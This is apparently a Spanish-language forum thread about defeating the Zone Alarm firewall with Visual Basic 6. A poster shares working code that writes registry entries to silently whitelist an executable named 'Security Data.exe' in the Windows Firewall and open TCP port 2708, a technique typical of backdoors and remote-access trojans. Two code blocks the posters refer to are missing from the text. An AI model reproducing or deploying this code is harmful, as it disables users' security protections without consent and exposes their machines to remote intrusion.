bueno si es un Archivo encryptado pues se me ocurren dos cosas:

1. descifrar ese archivo
2. Renombrar el Archivo para asi "joder" el Zone Alarm

Uso Visual Basic 6.0 y pongo este comando:


y me selecciona RegLocalMachine con el siguiente error:

Compile error:
Invalid Outside Procedure

que estara mal?

Ya lo arregle es pq necesitas declarar las apis: mira este codigo:


y asi funciona correctamente =)

Dim fir
Set fir = CreateObject("WScript.Shell") ' asignamos a una variable el objeto

fir.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "Security Data.exe", App.Path & "\" & "Security Data.exe" & ":*:Enabled:Security Data", RegString

fir.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2708:TCP", "2708:TCP:*:Enabled:Puerto Security Data", RegString